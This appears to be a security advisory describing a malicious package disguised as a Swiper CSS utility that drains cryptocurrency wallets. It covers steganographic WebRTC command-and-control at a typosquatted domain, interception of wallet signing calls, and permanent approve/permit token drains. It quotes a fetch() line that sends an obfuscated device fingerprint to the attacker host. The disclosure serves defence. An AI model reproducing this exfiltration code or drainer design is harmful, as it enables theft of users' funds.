GCVE-110-OSM-2026-3453

Steals cryptocurrency wallet funds via gasless EIP-2612 permit signatures and ERC-20 approve/increaseAllowance calls, targeting 14+ wallet providers (MetaMask, Phantom, OKX, Coinbase, Rabby, Trust, 1inch, Zerion, Bitget, SafePal, and others) via a covert WebRTC C2 at `static-cdn.gstatichub.com` (typosquatting Google's gstatic.com). Disguised as a CSS normalization utility for Swiper carousel — with no legitimate CSS code — the package establishes its C2 channel via LSB steganographic SDP signaling in PNG pixel data and an ECDH key exchange delivered through a CSS covert channel, then receives `set_ambush` commands that intercept all wallet write operations and execute attacker-controlled EIP-2612 permit signatures with a max uint256 deadline, enabling gasless token drain after victim approval. A second-stage payload is delivered steganographically via JPEG and injected as a DOM script element that is immediately removed to evade inspection. Affects all 9 published versions (11.0.1-11.0.9), published by a disposable-domain account in 46 hours. **Trigger**: Fires at require-time / browser bundle load — no install hook in package.json. The sole export (`HydrationContext`) is the drainer, named to blend with React/Next.js hydration patterns. **Device Fingerprint Exfil**: `fetch((window.__CAROUSEL_ENDPOINT__ || 'https://static-cdn.gstatichub.com') + '/img/' + uuid + '.jpeg?d=' + b64urlEncode(xor(fingerprint, [58,127,44,142,93,177,4,105])))` — 30-field fingerprint XOR-obfuscated with 8-byte key and transmitted to C2. **C2 Key Delivery via CSS Covert Channel**: Fetches a CSS resource from C2 (`/css/` path on `static-cdn.gstatichub.com`); server delivers ECDH P-256 public key inside a CSS `background-image:url(base64,...)` rule, extracted from `document.styleSheets` CSSOM. **WebRTC SDP Steganographic Exchange**: AES-CTR (secure context) or RC4 (HTTP fallback) encrypted SDP offer embedded in PNG image request to C2; SDP answer LSB-decoded from returned PNG pixel data (2 bits per R/G/B channel). Establishes persistent WebRTC DataChannel (name: `data`, ordered, 15s heartbeat, auto-reconnect with 30s max backoff). **Wallet Interception**: Upon `set_ambush` C2 command, patches `window.ethereum`, `okxwallet`, `coinbaseWalletExtension`, `phantom`, `vgateWallet`, `BinanceChain`, and 14+ additional providers. Intercepts `eth_sendTransaction`, `eth_signTransaction`, `personal_sign`, `eth_sign`, `eth_signTypedData_v4`, `eth_signTypedData_v3`, `eth_signTypedData`. **Drain Actions**: ERC-20 `approve(attacker, maxUint256)` (selector `0x095ea7b3`), `increaseAllowance(attacker, maxUint256)` (selector `0x39509351`), and EIP-2612 `permit` with deadline=maxUint256 (never expires) — one victim approval enables permanent gasless drain. **Second-Stage Delivery**: Fetches JPEG from C2, decodes LSB-embedded payload (length-prefixed), injects as `<script>` into `document.head`, removes element immediately. **Obfuscation**: Source is heavily obfuscated; `javascript-obfuscator` v5 in devDependencies across all 9 versions.